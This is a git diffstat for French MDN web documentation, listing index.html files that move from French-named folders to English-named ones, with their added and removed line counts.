.../comment/examiner_et_modifier_le_css/index.html | 228 -- .../index.html" | 37 - .../index.html" | 326 -- .../index.html" | 37 - files/fr/outils/inspecteur/comment/index.html | 10 - .../index.html" | 22 - .../comment/ouvrir_l_inspecteur/index.html | 35 - .../index.html" | 12 - .../reposition_elements_in_the_page/index.html | 22 - .../select_and_highlight_elements/index.html | 30 - .../index.html" | 36 - .../utiliser_l_api_de_l_inspecteur/index.html | 46 - .../index.html | 16 - .../visualiser_les_transformations/index.html | 14 - .../index.html | 26 - .../index.html | 107 - .../animations_examples/index.html | 84 - .../comment/work_with_animations/index.html | 180 -- files/fr/outils/inspecteur/index.html | 61 - files/fr/outils/inspecteur/panneau_html/index.html | 12 - .../inspecteur/raccourcis_clavier/index.html | 10 - files/fr/outils/inspecteur/ui_tour/index.html | 94 - .../fr/outils/inspecteur_accessibilite/index.html | 182 -- .../inspecteur_accessibilite/simulation/index.html | 96 - files/fr/outils/json_viewer/index.html | 22 - .../measure_a_portion_of_the_page/index.html | 31 - files/fr/outils/memory/aggregate_view/index.html | 149 - files/fr/outils/memory/basic_operations/index.html | 64 - .../memory/comparing_heap_snapshots/index.html | 15 - .../memory/dom_allocation_example/index.html | 54 - files/fr/outils/memory/dominators/index.html | 62 - files/fr/outils/memory/dominators_view/index.html | 156 - files/fr/outils/memory/index.html | 68 - files/fr/outils/memory/monster_example/index.html | 81 - .../outils/memory/open_the_memory_tool/index.html | 9 - .../outils/memory/take_a_heap_snapshot/index.html | 9 - files/fr/outils/memory/tree_map_view/index.html | 45 - files/fr/outils/migrating_from_firebug/index.html | 270 -- .../fr/outils/moniteur_r\303\251seau/index.html" | 64 - .../performance_analysis/index.html" | 43 - .../moniteur_r\303\251seau/recording/index.html" | 32 - .../request_details/index.html" | 184 -- .../request_list/index.html" | 377 --- .../moniteur_r\303\251seau/throttling/index.html" | 101 - .../moniteur_r\303\251seau/toolbar/index.html" | 61 - .../outils_boite_\303\240_outils/index.html" | 102 - files/fr/outils/paint_flashing_tool/index.html | 86 - files/fr/outils/performance/allocations/index.html | 86 - files/fr/outils/performance/call_tree/index.html | 122 - files/fr/outils/performance/examples/index.html | 8 - .../sorting_algorithms_comparison/index.html | 71 - files/fr/outils/performance/flame_chart/index.html | 103 - files/fr/outils/performance/frame_rate/index.html | 58 - files/fr/outils/performance/how_to/index.html | 63 - files/fr/outils/performance/index.html | 94 - .../scenarios/animating_css_properties/index.html | 154 - files/fr/outils/performance/scenarios/index.html | 8 - .../scenarios/intensive_javascript/index.html | 231 -- files/fr/outils/performance/ui_tour/index.html | 125 - files/fr/outils/performance/waterfall/index.html | 481 --- .../fr/outils/pipette_\303\240_couleur/index.html" | 47 - files/fr/outils/raccourcis_claviers/index.html | 1134 ------- .../index.html | 77 - files/fr/outils/rulers/index.html | 27 - files/fr/outils/settings/index.html | 168 - files/fr/outils/taking_screenshots/index.html | 48 - files/fr/outils/tips/index.html | 129 - .../outils/travailler_avec_les_iframes/index.html | 25 - files/fr/outils/validateurs/index.html | 71 - files/fr/outils/view_source/index.html | 79 - files/fr/outils/vue_3d/index.html | 101 - files/fr/outils/vue_adaptative/index.html | 213 -- .../fr/outils/\303\251diteur_de_style/index.html" | 113 - files/fr/plugins/guide/constants/index.html | 92 + .../r\303\251f\303\251rence_dom_gecko/index.html" | 25 - files/fr/sgml/index.html | 19 - files/fr/svg_dans_firefox/index.html | 774 ----- files/fr/tools/3d_view/index.html | 101 + .../index.html | 211 ++ files/fr/tools/about_colon_debugging/index.html | 211 ++ files/fr/tools/accessibility_inspector/index.html | 182 ++ .../accessibility_inspector/simulation/index.html | 96 + .../tools/accessing_the_developer_tools/index.html | 21 + files/fr/tools/browser_console/index.html | 195 ++ files/fr/tools/browser_toolbox/index.html | 77 + .../debugger/break_on_dom_mutation/index.html | 25 + .../how_to/access_debugging_in_add-ons/index.html | 26 + .../how_to/breaking_on_exceptions/index.html | 28 + .../debugger/how_to/debug_eval_sources/index.html | 29 + .../debugger/how_to/disable_breakpoints/index.html | 16 + .../highlight_and_inspect_dom_nodes/index.html | 16 + .../debugger/how_to/ignore_a_source/index.html | 24 + files/fr/tools/debugger/how_to/index.html | 12 + .../debugger/how_to/open_the_debugger/index.html | 20 + .../how_to/pretty-print_a_minified_file/index.html | 20 + files/fr/tools/debugger/how_to/search/index.html | 30 + .../debugger/how_to/set_a_breakpoint/index.html | 45 + .../how_to/set_a_conditional_breakpoint/index.html | 16 + .../how_to/set_watch_expressions/index.html | 18 + .../debugger/how_to/step_through_code/index.html | 25 + .../debugger/how_to/use_a_source_map/index.html | 32 + files/fr/tools/debugger/index.html | 57 + .../tools/debugger/keyboard_shortcuts/index.html | 12 + .../debugger/set_an_xhr_breakpoint/index.html | 31 + .../fr/tools/debugger/source_map_errors/index.html | 61 + files/fr/tools/debugger/ui_tour/index.html | 125 + files/fr/tools/devtoolsapi/index.html | 835 +++++ files/fr/tools/devtoolscolors/index.html | 331 ++ files/fr/tools/dom_property_viewer/index.html | 46 + files/fr/tools/eyedropper/index.html | 47 + .../fr/tools/firefox_os_simulator_clone/index.html | 88 + files/fr/tools/index.html | 225 ++ files/fr/tools/index/index.html | 8 + files/fr/tools/json_viewer/index.html | 22 + files/fr/tools/keyboard_shortcuts/index.html | 1134 +++++++ .../tools/measure_a_portion_of_the_page/index.html | 31 + files/fr/tools/memory/aggregate_view/index.html | 149 + files/fr/tools/memory/basic_operations/index.html | 64 + .../tools/memory/dom_allocation_example/index.html | 54 + files/fr/tools/memory/dominators/index.html | 62 + files/fr/tools/memory/dominators_view/index.html | 156 + files/fr/tools/memory/index.html | 68 + files/fr/tools/memory/monster_example/index.html | 81 + files/fr/tools/memory/tree_map_view/index.html | 45 + files/fr/tools/migrating_from_firebug/index.html | 270 ++ files/fr/tools/network_monitor/index.html | 64 + .../performance_analysis/index.html | 43 + .../fr/tools/network_monitor/recording/index.html | 32 + .../network_monitor/request_details/index.html | 184 ++ .../tools/network_monitor/request_list/index.html | 377 +++ .../fr/tools/network_monitor/throttling/index.html | 101 + files/fr/tools/network_monitor/toolbar/index.html | 61 + .../fr/tools/page_inspector/3-pane_mode/index.html | 65 + .../how_to/edit_css_filters/index.html | 37 + .../how_to/examine_and_edit_css/index.html | 228 ++ .../how_to/examine_and_edit_html/index.html | 326 ++ .../examine_and_edit_the_box_model/index.html | 37 + .../how_to/examine_event_listeners/index.html | 37 + .../how_to/examine_grid_layouts/index.html | 125 + files/fr/tools/page_inspector/how_to/index.html | 10 + .../how_to/inspect_and_select_colors/index.html | 22 + .../how_to/open_the_inspector/index.html | 35 + .../reposition_elements_in_the_page/index.html | 22 + .../how_to/select_an_element/index.html | 36 + .../select_and_highlight_elements/index.html | 30 + .../how_to/use_the_inspector_api/index.html | 46 + .../index.html | 16 + .../how_to/view_background_images/index.html | 12 + .../how_to/visualize_transforms/index.html | 14 + .../index.html | 26 + .../index.html | 84 + .../index.html | 107 + .../how_to/work_with_animations/index.html | 180 ++ files/fr/tools/page_inspector/index.html | 61 + .../page_inspector/keyboard_shortcuts/index.html | 10 + files/fr/tools/page_inspector/ui_tour/index.html | 94 + files/fr/tools/paint_flashing_tool/index.html | 86 + files/fr/tools/performance/allocations/index.html | 86 + files/fr/tools/performance/call_tree/index.html | 122 + files/fr/tools/performance/examples/index.html | 8 + .../sorting_algorithms_comparison/index.html | 71 + files/fr/tools/performance/flame_chart/index.html | 103 + files/fr/tools/performance/frame_rate/index.html | 58 + files/fr/tools/performance/how_to/index.html | 63 + files/fr/tools/performance/index.html | 94 + .../scenarios/animating_css_properties/index.html | 154 + files/fr/tools/performance/scenarios/index.html | 8 + .../scenarios/intensive_javascript/index.html | 231 ++ files/fr/tools/performance/ui_tour/index.html | 125 + files/fr/tools/performance/waterfall/index.html | 481 +++ .../remote_debugging/chrome_desktop/index.html | 49 + .../debugging_firefox_desktop/index.html | 44 + .../index.html | 70 + files/fr/tools/remote_debugging/index.html | 20 + .../tools/remote_debugging/thunderbird/index.html | 44 + files/fr/tools/responsive_design_mode/index.html | 213 ++ files/fr/tools/rulers/index.html | 27 + files/fr/tools/settings/index.html | 168 + files/fr/tools/shader_editor/index.html | 63 + files/fr/tools/style_editor/index.html | 113 + files/fr/tools/taking_screenshots/index.html | 48 + files/fr/tools/tips/index.html | 129 + files/fr/tools/tools_toolbox/index.html | 102 + files/fr/tools/validators/index.html | 71 + files/fr/tools/view_source/index.html | 79 + files/fr/tools/web_audio_editor/index.html | 71 + .../tools/web_console/console_messages/index.html | 469 +++ files/fr/tools/web_console/helpers/index.html | 82 + files/fr/tools/web_console/index.html | 47 + .../web_console/keyboard_shortcuts/index.html | 12 + files/fr/tools/web_console/rich_output/index.html | 77 + .../fr/tools/web_console/split_console/index.html | 20 + .../the_command_line_interpreter/index.html | 161 + files/fr/tools/web_console/ui_tour/index.html | 29 + files/fr/tools/working_with_iframes/index.html | 25 + files/fr/tosource/index.html | 26 - files/fr/tostring/index.html | 23 - .../index.html | 67 - .../fr/un_raycaster_basique_avec_canvas/index.html | 52 - files/fr/utilisation_de_xpath/index.html | 85 - .../utilisation_du_cache_de_firefox_1.5/index.html | 195 -- .../index.html | 176 ++ .../web/accessibility/aria/aria_guides/index.html | 27 + .../aria/aria_live_regions/index.html | 122 + .../aria_technique_template/index.html | 30 + .../accessibility/aria/aria_techniques/index.html | 118 + .../using_the_alert_role/index.html | 134 + .../using_the_alertdialog_role/index.html | 85 + .../index.html | 89 + .../using_the_aria-invalid_attribute/index.html | 125 + .../using_the_aria-label_attribute/index.html | 74 + .../using_the_aria-labelledby_attribute/index.html | 160 + .../index.html | 75 + .../using_the_aria-relevant_attribute/index.html | 30 + .../using_the_aria-required_attribute/index.html | 82 + .../using_the_aria-valuemax_attribute/index.html | 74 + .../using_the_aria-valuemin_attribute/index.html | 70 + .../using_the_aria-valuenow_attribute/index.html | 78 + .../using_the_aria-valuetext_attribute/index.html | 66 + .../using_the_article_role/index.html | 66 + .../using_the_group_role/index.html | 128 + .../aria_techniques/using_the_link_role/index.html | 75 + .../aria_techniques/using_the_log_role/index.html | 97 + .../using_the_presentation_role/index.html | 66 + .../using_the_progressbar_role/index.html | 69 + .../using_the_radio_role/index.html | 41 + .../using_the_slider_role/index.html | 120 + .../using_the_status_role/index.html | 50 + .../using_the_toolbar_role/index.html | 30 + .../web/accessibility/aria/forms/alerts/index.html | 157 + .../aria/forms/basic_form_hints/index.html | 119 + files/fr/web/accessibility/aria/forms/index.html | 19 + .../aria/forms/multipart_labels/index.html | 41 + .../aria/how_to_file_aria-related_bugs/index.html | 96 + files/fr/web/accessibility/aria/index.html | 123 + .../aria/roles/banner_role/index.html | 39 + .../aria/roles/button_role/index.html | 123 + .../aria/roles/checkbox_role/index.html | 52 + .../aria/roles/dialog_role/index.html | 148 + .../aria/roles/listbox_role/index.html | 97 + .../aria/roles/switch_role/index.html | 13 + .../aria/roles/textbox_role/index.html | 82 + .../aria/web_applications_and_aria_faq/index.html | 305 ++ files/fr/web/accessibility/community/index.html | 17 + files/fr/web/accessibility/index.html | 78 + .../index.html | 90 + .../mobile_accessibility_checklist/index.html | 89 + .../perceivable/color_contrast/index.html | 162 + .../perceivable/contraste_de_la_couleur/index.html | 162 - files/fr/web/api/ambient_light_events/index.html | 98 + .../delay/index.html | 140 - .../api/animationeffecttimingproperties/index.html | 124 - files/fr/web/api/api_fichier_systeme/index.html | 114 - files/fr/web/api/api_html_drag_and_drop/index.html | 268 -- .../op\303\251rations_de_glissement/index.html" | 294 -- .../basic_concepts_behind_indexeddb/index.html | 209 -- .../index.html | 139 - files/fr/web/api/api_indexeddb/index.html | 322 -- .../api/api_indexeddb/using_indexeddb/index.html | 1337 -------- .../fr/web/api/audiocontext/creategain/index.html | 167 - .../web/api/baseaudiocontext/creategain/index.html | 167 + .../api/canvas_api/a_basic_ray-caster/index.html | 52 + .../manipulating_video_using_canvas/index.html | 158 + .../tutorial/advanced_animations/index.html | 376 +++ .../tutorial/applying_styles_and_colors/index.html | 719 +++++ .../tutorial/basic_animations/index.html | 339 ++ .../api/canvas_api/tutorial/basic_usage/index.html | 149 + .../tutorial/compositing/example/index.html | 295 ++ .../api/canvas_api/tutorial/compositing/index.html | 110 + .../canvas_api/tutorial/drawing_shapes/index.html | 581 ++++ .../canvas_api/tutorial/drawing_text/index.html | 161 + .../hit_regions_and_accessibility/index.html | 97 + files/fr/web/api/canvas_api/tutorial/index.html | 52 + .../tutorial/optimizing_canvas/index.html | 112 + .../pixel_manipulation_with_canvas/index.html | 258 ++ .../canvas_api/tutorial/transformations/index.html | 276 ++ .../canvas_api/tutorial/using_images/index.html | 320 ++ .../tutoriel_canvas/advanced_animations/index.html | 376 --- .../ajout_de_styles_et_de_couleurs/index.html | 719 ----- .../tutoriel_canvas/animations_basiques/index.html | 339 -- .../tutoriel_canvas/composition/example/index.html | 295 -- .../tutoriel_canvas/composition/index.html | 110 - .../dessin_de_texte_avec_canvas/index.html | 161 - .../formes_g\303\251om\303\251triques/index.html" | 581 ---- .../hit_regions_and_accessibility/index.html | 97 - .../web/api/canvas_api/tutoriel_canvas/index.html | 52 - .../tutoriel_canvas/optimizing_canvas/index.html | 112 - .../pixel_manipulation_with_canvas/index.html | 258 -- .../tutoriel_canvas/transformations/index.html | 276 -- .../utilisation_d'images/index.html | 320 -- .../tutoriel_canvas/utilisation_de_base/index.html | 149 - files/fr/web/api/crypto/getrandomvalues/index.html | 75 + files/fr/web/api/cssmatrix/index.html | 76 - .../api/detecting_device_orientation/index.html | 289 ++ .../devicemotioneventrotationrate/alpha/index.html | 103 + .../devicemotioneventrotationrate/beta/index.html | 105 + .../devicemotioneventrotationrate/gamma/index.html | 105 + .../api/devicemotioneventrotationrate/index.html | 100 + .../api/deviceorientationevent.absolute/index.html | 56 - .../api/deviceorientationevent/absolute/index.html | 56 + .../fr/web/api/devicerotationrate/alpha/index.html | 103 - .../fr/web/api/devicerotationrate/beta/index.html | 105 - .../fr/web/api/devicerotationrate/gamma/index.html | 105 - files/fr/web/api/devicerotationrate/index.html | 100 - files/fr/web/api/document/activeelement/index.html | 25 - files/fr/web/api/document/anchors/index.html | 80 + .../web/api/document/document.anchors/index.html | 80 - .../web/api/document/elementfrompoint/index.html | 53 - files/fr/web/api/document/getselection/index.html | 15 - .../api/document/readystatechange_event/index.html | 87 + files/fr/web/api/document/stylesheets/index.html | 56 - .../api/document_object_model/events/index.html | 74 + .../api/document_object_model/examples/index.html | 369 +++ .../api/document_object_model/exemples/index.html | 369 --- .../how_to_create_a_dom_tree/index.html | 146 + .../index.html" | 74 - .../index.html" | 55 - .../index.html | 55 + .../pr\303\251face/index.html" | 54 - .../index.html | 351 +++ .../example/index.html | 44 + .../using_the_w3c_dom_level_1_core/index.html | 92 + .../exemple/index.html | 44 - .../index.html | 92 - .../documentorshadowroot/activeelement/index.html | 25 + .../elementfrompoint/index.html | 53 + .../documentorshadowroot/getselection/index.html | 15 + .../documentorshadowroot/stylesheets/index.html | 56 + files/fr/web/api/dommatrix/index.html | 76 + files/fr/web/api/effecttiming/delay/index.html | 140 + files/fr/web/api/effecttiming/index.html | 124 + files/fr/web/api/element.blur/index.html | 88 - files/fr/web/api/element/accesskey/index.html | 22 - .../api/element/compositionend_event/index.html | 131 + .../api/element/compositionstart_event/index.html | 146 + .../api/element/compositionupdate_event/index.html | 137 + files/fr/web/api/element/copy_event/index.html | 148 + files/fr/web/api/element/error_event/index.html | 93 + files/fr/web/api/element/focusin_event/index.html | 123 + files/fr/web/api/element/focusout_event/index.html | 123 + files/fr/web/api/element/innerhtml/index.html | 203 ++ files/fr/web/api/element/innerthtml/index.html | 203 -- files/fr/web/api/element/name/index.html | 77 - files/fr/web/api/element/onwheel/index.html | 93 - .../web/api/elementcssinlinestyle/style/index.html | 57 + files/fr/web/api/entity/index.html | 114 - files/fr/web/api/entityreference/index.html | 93 - .../index.html" | 168 - .../event/comparison_of_event_targets/index.html | 168 + files/fr/web/api/event/createevent/index.html | 41 - .../api/file_and_directory_entries_api/index.html | 114 + .../api/formdata/using_formdata_objects/index.html | 145 + .../utilisation_objets_formdata/index.html | 145 - files/fr/web/api/fullscreen_api/index.html | 301 ++ .../gamepad_api/using_the_gamepad_api/index.html | 281 ++ .../web/api/globaleventhandlers/onwheel/index.html | 93 + files/fr/web/api/history_api/example/index.html | 392 +++ files/fr/web/api/history_api/index.html | 245 ++ .../drag_operations/index.html | 294 ++ files/fr/web/api/html_drag_and_drop_api/index.html | 268 ++ files/fr/web/api/htmlelement/accesskey/index.html | 22 + .../api/htmlelement/animationend_event/index.html | 81 + .../animationiteration_event/index.html | 83 + .../htmlelement/animationstart_event/index.html | 81 + files/fr/web/api/htmlelement/dataset/index.html | 102 - files/fr/web/api/htmlelement/focus/index.html | 223 -- files/fr/web/api/htmlelement/innertext/index.html | 42 + files/fr/web/api/htmlelement/style/index.html | 57 - files/fr/web/api/htmlelement/tabindex/index.html | 25 - .../api/htmlelement/transitionend_event/index.html | 192 ++ .../api/htmlformelement/submit_event/index.html | 59 + .../api/htmlformelement/submit_event_/index.html | 59 - .../web/api/htmlhyperlinkelementutils/index.html | 213 ++ .../web/api/htmlorforeignelement/blur/index.html | 88 + .../api/htmlorforeignelement/dataset/index.html | 102 + .../web/api/htmlorforeignelement/focus/index.html | 223 ++ .../api/htmlorforeignelement/tabindex/index.html | 25 + .../api/idbopendbrequest/blocked_event/index.html | 102 + .../fr/web/api/idbrequest/blocked_event/index.html | 102 - .../basic_concepts_behind_indexeddb/index.html | 209 ++ .../index.html | 139 + files/fr/web/api/indexeddb_api/index.html | 322 ++ .../api/indexeddb_api/using_indexeddb/index.html | 1337 ++++++++ files/fr/web/api/media_streams_api/index.html | 85 + files/fr/web/api/namelist/index.html | 52 - files/fr/web/api/navigator/getusermedia/index.html | 194 ++ .../online_and_offline_events/index.html | 99 + .../index.html" | 99 - .../fr/web/api/network_information_api/index.html | 89 + files/fr/web/api/node/baseuriobject/index.html | 39 - files/fr/web/api/node/innertext/index.html | 42 - files/fr/web/api/node/nodeprincipal/index.html | 40 - files/fr/web/api/node/rootnode/index.html | 71 - .../using_web_notifications/index.html | 275 -- .../using_the_notifications_api/index.html | 275 ++ .../offlineaudiocontext/complete_event/index.html | 91 + .../pointer_events/gestes_pincer_zoom/index.html | 220 -- .../pointer_events/pinch_zoom_gestures/index.html | 220 ++ files/fr/web/api/pointer_lock_api/index.html | 319 ++ files/fr/web/api/proximity_events/index.html | 120 + .../api/randomsource/getrandomvalues/index.html | 75 - .../audioprocess_event/index.html | 151 + files/fr/web/api/selection_api/index.html | 221 -- files/fr/web/api/storage/localstorage/index.html | 135 - files/fr/web/api/touch_events/index.html | 245 ++ .../index.html | 64 + files/fr/web/api/urlutils/index.html | 213 -- .../advanced_concepts_and_examples/index.html | 423 --- .../algorithme_clonage_structure/index.html | 153 - .../index.html | 240 ++ .../structured_clone_algorithm/index.html | 153 + .../web_workers_api/using_web_workers/index.html | 633 ++++ .../utilisation_des_web_workers/index.html | 633 ---- .../by_example/appliquer_des_couleurs/index.html | 100 - .../index.html" | 90 - .../index.html" | 122 - .../by_example/basic_scissoring/index.html | 90 + .../webgl_api/by_example/boilerplate_1/index.html | 97 + .../by_example/canvas_size_and_webgl/index.html | 82 + .../by_example/clearing_by_clicking/index.html | 122 + .../by_example/clearing_with_colors/index.html | 100 + .../webgl_api/by_example/color_masking/index.html | 136 + .../index.html" | 162 - .../index.html" | 139 - .../webgl_api/by_example/detect_webgl/index.html | 79 + .../by_example/d\303\251tecter_webgl/index.html" | 79 - .../index.html" | 164 - .../by_example/hello_vertex_attributes/index.html | 171 ++ .../introduction_aux_attributs_vertex/index.html | 171 -- .../les_textures_vid\303\251os/index.html" | 23 - .../by_example/masque_de_couleur/index.html | 136 - .../by_example/mod\303\250le_1/index.html" | 97 - .../by_example/raining_rectangles/index.html | 176 ++ .../by_example/scissor_animation/index.html | 162 + .../by_example/simple_color_animation/index.html | 139 + .../tailles_de_canvas_et_webgl/index.html | 82 - .../by_example/textures_from_code/index.html | 164 + .../by_example/une_pluie_de_rectangle/index.html | 176 -- .../webgl_api/by_example/video_textures/index.html | 23 + files/fr/web/api/webgl_api/data/index.html | 56 + .../web/api/webgl_api/donn\303\251es/index.html" | 56 - .../index.html | 307 ++ .../index.html | 117 - .../ajouter_du_contenu_\303\240_webgl/index.html" | 307 -- .../animating_objects_with_webgl/index.html | 59 + .../animating_textures_in_webgl/index.html | 144 + .../animation_de_textures_en_webgl/index.html | 144 - .../animer_des_objets_avec_webgl/index.html | 59 - .../tutorial/commencer_avec_webgl/index.html | 73 - .../creating_3d_objects_using_webgl/index.html | 167 + .../creer_des_objets_3d_avec_webgl/index.html | 167 - .../tutorial/eclairage_en_webgl/index.html | 175 -- .../tutorial/getting_started_with_webgl/index.html | 73 + .../tutorial/lighting_in_webgl/index.html | 175 ++ .../index.html | 117 + .../tutorial/using_textures_in_webgl/index.html | 278 ++ .../utiliser_les_textures_avec_webgl/index.html | 278 -- .../api/webglrenderingcontext/activer/index.html | 145 - .../api/webglrenderingcontext/canevas/index.html | 75 - .../api/webglrenderingcontext/canvas/index.html | 75 + .../api/webglrenderingcontext/enable/index.html | 145 + .../fr/web/api/webrtc_api/connectivity/index.html | 54 + .../web/api/webrtc_api/session_lifetime/index.html | 21 + .../signaling_and_video_calling/index.html | 360 +++ .../api/webrtc_api/taking_still_photos/index.html | 161 + .../using_vr_controllers_with_webvr/index.html | 257 ++ .../index.html" | 257 -- .../fr/web/api/window/afterprint_event/index.html | 63 + .../fr/web/api/window/beforeprint_event/index.html | 74 + .../web/api/window/beforeunload_event/index.html | 139 + .../web/api/window/devicemotion_event/index.html | 97 + .../api/window/deviceorientation_event/index.html | 176 ++ .../api/window/domcontentloaded_event/index.html | 84 + files/fr/web/api/window/load_event/index.html | 92 + files/fr/web/api/window/onresize/index.html | 78 - files/fr/web/api/window/pagehide_event/index.html | 69 + files/fr/web/api/window/pageshow_event/index.html | 132 + files/fr/web/api/window/unload_event/index.html | 156 + files/fr/web/api/window/url/index.html | 95 - files/fr/web/api/windowbase64/atob/index.html | 132 - files/fr/web/api/windowbase64/btoa/index.html | 174 -- .../d\303\251coder_encoder_en_base64/index.html" | 343 --- .../api/windoworworkerglobalscope/atob/index.html | 132 + .../api/windoworworkerglobalscope/btoa/index.html | 174 ++ .../clearinterval/index.html | 73 + .../web/api/windowtimers/clearinterval/index.html | 73 - .../index.html | 240 -- .../web/api/xmlhttprequest/abort_event/index.html | 89 + .../xmlhttprequest/using_xmlhttprequest/index.html | 755 +++++ .../utiliser_xmlhttprequest/index.html | 755 ----- files/fr/web/api/xmlserializer/index.html | 54 + .../web/api/xsltprocessor/basic_example/index.html | 65 + .../xsltprocessor/browser_differences/index.html | 22 + .../api/xsltprocessor/generating_html/index.html | 190 ++ .../xsl_transformations_in_mozilla_faq/index.html | 60 + files/fr/web/css/-moz-box-ordinal-group/index.html | 74 - files/fr/web/css/-moz-cell/index.html | 16 - files/fr/web/css/-ms-high-contrast/index.html | 71 - files/fr/web/css/-ms-scroll-snap-type/index.html | 51 - files/fr/web/css/-ms-user-select/index.html | 108 - files/fr/web/css/-webkit-mask-image/index.html | 175 -- .../fr/web/css/@media/-ms-high-contrast/index.html | 71 + files/fr/web/css/@media/index/index.html | 12 - files/fr/web/css/@viewport/height/index.html | 77 - files/fr/web/css/@viewport/max-height/index.html | 77 - files/fr/web/css/@viewport/max-width/index.html | 76 - files/fr/web/css/@viewport/max-zoom/index.html | 70 - files/fr/web/css/@viewport/min-height/index.html | 77 - files/fr/web/css/@viewport/min-width/index.html | 76 - files/fr/web/css/@viewport/min-zoom/index.html | 70 - files/fr/web/css/@viewport/orientation/index.html | 65 - files/fr/web/css/@viewport/user-zoom/index.html | 69 - files/fr/web/css/@viewport/viewport-fit/index.html | 75 - files/fr/web/css/@viewport/width/index.html | 76 - files/fr/web/css/@viewport/zoom/index.html | 72 - .../fr/web/css/_colon_-moz-list-bullet/index.html | 55 + .../fr/web/css/_colon_-moz-list-number/index.html | 52 + files/fr/web/css/_colon_-moz-ui-invalid/index.html | 50 - .../css/_colon_-ms-input-placeholder/index.html | 117 - .../fr/web/css/_colon_-webkit-autofill/index.html | 33 - files/fr/web/css/_colon_any/index.html | 175 -- files/fr/web/css/_colon_autofill/index.html | 33 + files/fr/web/css/_colon_user-invalid/index.html | 50 + .../index.html" | 73 - .../css/_doublecolon_-moz-list-bullet/index.html | 55 - .../css/_doublecolon_-moz-list-number/index.html | 52 - .../index.html | 54 - .../index.html | 97 - .../_doublecolon_file-selector-button/index.html | 54 + .../web/css/a_propos_du_bloc_conteneur/index.html | 263 -- files/fr/web/css/actual_value/index.html | 52 + .../web/css/adjacent_sibling_combinator/index.html | 86 + .../fr/web/css/alternative_style_sheets/index.html | 77 + .../fr/web/css/animations_css/conseils/index.html | 165 - .../index.html" | 99 - files/fr/web/css/animations_css/index.html | 81 - .../utiliser_les_animations_css/index.html | 363 --- .../index.html" | 2626 ---------------- .../index.html" | 1600 ---------- .../index.html" | 162 - files/fr/web/css/at-rule/index.html | 82 + files/fr/web/css/attribute_selectors/index.html | 243 ++ files/fr/web/css/auto/index.html | 29 - .../fr/web/css/block_formatting_context/index.html | 44 - files/fr/web/css/child_combinator/index.html | 94 + files/fr/web/css/class_selectors/index.html | 101 + files/fr/web/css/color_value/index.html | 1379 +++++++++ files/fr/web/css/column_combinator/index.html | 97 + files/fr/web/css/combinateur_colonne/index.html | 97 - .../css/combinateur_de_voisin_direct/index.html | 86 - files/fr/web/css/compartimentation_css/index.html | 123 - .../comprendre_z-index/ajout_de_z-index/index.html | 149 - .../empilement_de_couches/index.html | 213 -- .../empilement_et_float/index.html | 135 - .../empilement_sans_z-index/index.html | 122 - .../css/comprendre_z-index/exemple_1/index.html | 117 - .../css/comprendre_z-index/exemple_2/index.html | 128 - .../css/comprendre_z-index/exemple_3/index.html | 160 - files/fr/web/css/comprendre_z-index/index.html | 36 - files/fr/web/css/computed_value/index.html | 67 + files/fr/web/css/concepts_viewport/index.html | 156 - files/fr/web/css/containing_block/index.html | 263 ++ .../css/contexte_de_formatage_en_ligne/index.html | 63 - files/fr/web/css/couleurs_css/index.html | 133 - .../s\303\251lecteur_de_couleurs/index.html" | 3235 -------------------- .../fr/web/css/css_animated_properties/index.html | 17 + .../detecting_css_animation_support/index.html | 99 + files/fr/web/css/css_animations/index.html | 81 + files/fr/web/css/css_animations/tips/index.html | 165 + .../css_animations/using_css_animations/index.html | 363 +++ .../border-image_generator/index.html | 2626 ++++++++++++++++ .../border-radius_generator/index.html | 1600 ++++++++++ .../box-shadow_generator/index.html | 2887 +++++++++++++++++ .../resizing_background_images/index.html | 117 + .../scaling_background_images/index.html | 117 - .../using_multiple_backgrounds/index.html | 55 + .../index.html" | 55 - .../index.html | 104 + .../index.html" | 104 - .../index.html" | 77 - .../index.html" | 51 - .../index.html" | 119 - .../index.html" | 119 - .../index.html | 77 + .../box_alignment_in_flexbox/index.html | 119 + .../box_alignment_in_grid_layout/index.html | 119 + .../index.html | 51 + files/fr/web/css/css_box_model/index.html | 115 + .../mastering_margin_collapsing/index.html | 92 + files/fr/web/css/css_charsets/index.html | 50 + .../css/css_colors/color_picker_tool/index.html | 3235 ++++++++++++++++++++ .../basic_concepts_of_multicol/index.html | 92 + .../concepts_base_multi-colonnes/index.html | 92 - .../index.html" | 49 - .../index.html" | 72 - .../handling_content_breaks_in_multicol/index.html | 72 + .../handling_overflow_in_multicol/index.html | 49 + .../mettre_en_forme_les_colonnes/index.html | 48 - .../r\303\251partir_entre_les_colonnes/index.html" | 63 - .../css/css_columns/spanning_columns/index.html | 63 + .../web/css/css_columns/styling_columns/index.html | 48 + .../using_multi-column_layouts/index.html | 201 ++ .../index.html | 201 -- .../using_feature_queries/index.html | 112 + .../index.html" | 112 - files/fr/web/css/css_containment/index.html | 123 + .../index.html" | 218 -- .../aligning_items_in_a_flex_container/index.html | 218 ++ .../backwards_compatibility_of_flexbox/index.html | 369 +++ .../basic_concepts_of_flexbox/index.html | 235 ++ .../index.html" | 188 -- .../cas_utilisation_flexbox/index.html | 140 - .../concepts_de_base_flexbox/index.html | 235 -- .../index.html | 200 ++ .../index.html" | 200 -- .../index.html | 125 - .../mastering_wrapping_of_flex_items/index.html | 101 + .../index.html" | 101 - .../css/css_flexible_box_layout/mixins/index.html | 369 --- .../ordering_flex_items/index.html | 139 + .../index.html" | 139 - .../index.html | 125 + .../index.html" | 121 - .../typical_use_cases_of_flexbox/index.html | 140 + .../index.html | 128 + .../dans_le_flux_ou_en_dehors/index.html | 68 - .../index.html | 128 - .../index.html" | 70 - .../index.html" | 90 - .../explications_contextes_formatage/index.html | 89 - .../flow_layout_and_overflow/index.html | 70 + .../flow_layout_and_writing_modes/index.html | 90 + .../in_flow_and_out_of_flow/index.html | 68 + .../intro_to_formatting_contexts/index.html | 89 + .../index.html" | 229 -- .../css_fonts/guide_polices_variables/index.html | 265 -- .../css/css_fonts/opentype_fonts_guide/index.html | 229 ++ .../css/css_fonts/variable_fonts_guide/index.html | 265 ++ .../index.html" | 661 ---- .../auto-placement_in_css_grid_layout/index.html | 569 ++++ .../basic_concepts_of_grid_layout/index.html | 625 ++++ .../box_alignment_in_css_grid_layout/index.html | 661 ++++ .../index.html | 560 ---- .../index.html | 420 +++ .../css_grid_layout_and_accessibility/index.html | 124 + .../index.html | 452 +++ .../index.html" | 482 --- .../css_grid_layout/grid_template_areas/index.html | 482 +++ .../layout_using_named_grid_lines/index.html | 431 +++ .../les_concepts_de_base/index.html | 625 ---- .../index.html" | 124 - .../index.html" | 420 --- .../index.html" | 452 --- .../line-based_placement_with_css_grid/index.html | 605 ++++ 